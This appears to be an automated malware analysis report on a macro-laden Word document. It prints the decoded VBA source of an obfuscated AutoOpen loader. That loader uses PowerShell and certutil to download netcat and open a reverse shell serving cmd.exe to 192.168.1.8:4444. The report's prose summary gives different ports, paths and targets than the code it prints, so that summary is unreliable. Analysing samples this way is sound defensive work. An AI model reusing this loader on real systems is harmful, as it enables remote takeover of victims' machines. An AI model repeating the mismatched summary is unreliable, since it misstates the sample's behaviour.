Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 31e760b27695a40e…

MALICIOUS

Office (OOXML)

18.1 KB Created: 2021-06-23 06:31:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2021-06-28
MD5: 35681b3a6c1bda4df219278256d1fe06 SHA-1: f5fbc8bf26ab8635c5201ab8fde73c491113a8e1 SHA-256: 31e760b27695a40e099c3fdcf7727f848ef4496ecec5ab3e79e4dcb822e1f6db
190 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1105 Ingress Tool Transfer

The sample contains obfuscated VBA macros that execute upon opening. The AutoOpen macro reconstructs and executes a PowerShell command to download a file named 'nc64.exe' from 'http://localhost:8080/nc64.exe' and save it to 'C:\Users\Public\nc64.exe'. It then executes this downloaded file, which appears to be a Netcat binary, to establish a reverse shell to '127.0.0.1' on port '2222'. This indicates a downloader and reverse shell payload.

Heuristics 6

  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    Shell (last)
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
    Matched line in script
    Shell (last)
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Attribute VB_Name = "NewMacros"
    Sub AutoOpen()
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/inkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2017/model3dIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2016/wordml/cidIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2998 bytes
SHA-256: 39e2a8b6fc5a846a4a8db01b819e3010d219543109d4c4ea8f9cc8bf318ed3c3
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "NewMacros"
Sub AutoOpen()

Dim AQOIfbcJ As String

Dim KWBc999 As String

Dim iOKfOMTBTN As String

Dim l5BOsFL6hO As String

Dim FpypyXeL3 As String

Dim x9VoDmfopr As String

Dim x4MAL8gxRUz As String

Dim mL5SIH As String

Dim FfQo As String

Dim uBsHlBUA As String

Dim TI9Lt As String

Dim KOgYPI33EAHI As String

Dim last As String

AQOIfbcJ = ChrW(112) & ChrW(111) & ChrW(119) & ChrW(101) & ChrW(114) & ChrW(115) & ChrW(104) & ChrW(101) & ChrW(108) & ChrW(108)

KWBc999 = ChrW(46) & ChrW(101) & ChrW(120) & ChrW(101) & ChrW(32) & ChrW(45) & ChrW(67) & ChrW(111) & ChrW(109) & ChrW(109)

iOKfOMTBTN = ChrW(97) & ChrW(110) & ChrW(100) & ChrW(32) & ChrW(34) & ChrW(34) & ChrW(99) & ChrW(101) & ChrW(114) & ChrW(116)

l5BOsFL6hO = ChrW(117) & ChrW(116) & ChrW(105) & ChrW(108) & ChrW(46) & ChrW(101) & ChrW(120) & ChrW(101) & ChrW(32) & ChrW(45)

FpypyXeL3 = ChrW(117) & ChrW(114) & ChrW(108) & ChrW(99) & ChrW(97) & ChrW(99) & ChrW(104) & ChrW(101) & ChrW(32) & ChrW(45)

x9VoDmfopr = ChrW(102) & ChrW(32) & ChrW(104) & ChrW(116) & ChrW(116) & ChrW(112) & ChrW(58) & ChrW(47) & ChrW(47) & ChrW(108)

x4MAL8gxRUz = ChrW(111) & ChrW(99) & ChrW(97) & ChrW(108) & ChrW(104) & ChrW(111) & ChrW(115) & ChrW(116) & ChrW(58) & ChrW(50)

mL5SIH = ChrW(50) & ChrW(50) & ChrW(50) & ChrW(47) & ChrW(110) & ChrW(99) & ChrW(54) & ChrW(52) & ChrW(46) & ChrW(101)

FfQo = ChrW(120) & ChrW(101) & ChrW(32) & ChrW(99) & ChrW(58) & ChrW(92) & ChrW(112) & ChrW(114) & ChrW(111) & ChrW(103)

uBsHlBUA = ChrW(114) & ChrW(97) & ChrW(109) & ChrW(100) & ChrW(97) & ChrW(116) & ChrW(97) & ChrW(92) & ChrW(98) & ChrW(97)

TI9Lt = ChrW(100) & ChrW(46) & ChrW(101) & ChrW(120) & ChrW(101) & ChrW(59) & ChrW(83) & ChrW(116) & ChrW(97) & ChrW(114)

KOgYPI33EAHI = ChrW(116) & ChrW(45) & ChrW(80) & ChrW(114) & ChrW(111) & ChrW(99) & ChrW(101) & ChrW(115) & ChrW(115) & ChrW(32) & ChrW(40) & ChrW(99) & ChrW(58) & ChrW(92) & ChrW(112) & ChrW(114) & ChrW(111) & ChrW(103) & ChrW(114) & ChrW(97) & ChrW(109) & ChrW(100) & ChrW(97) & ChrW(116) & ChrW(97) & ChrW(92) & ChrW(98) & ChrW(97) & ChrW(100) & ChrW(46) & ChrW(101) & ChrW(120) & ChrW(101) & ChrW(32) & ChrW(49) & ChrW(57) & ChrW(50) & ChrW(46) & ChrW(49) & ChrW(54) & ChrW(56) & ChrW(46) & ChrW(49) & ChrW(46) & ChrW(56) & ChrW(32) & ChrW(52) & ChrW(52) & ChrW(52) & ChrW(52) & ChrW(32) & ChrW(45) & ChrW(101) & ChrW(32) & ChrW(99) & ChrW(109) & ChrW(100) & ChrW(46) & ChrW(101) & ChrW(120) & ChrW(101) & ChrW(41) & ChrW(34) & ChrW(34)

last = AQOIfbcJ + KWBc999 + iOKfOMTBTN + l5BOsFL6hO + FpypyXeL3 + x9VoDmfopr + x4MAL8gxRUz + mL5SIH + FfQo + uBsHlBUA + TI9Lt + KOgYPI33EAHI

Shell (last)

End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 16384 bytes
SHA-256: 650d37a934f14ba6cad68454b21837015a6508123bb9d58810e7a3124cced8ef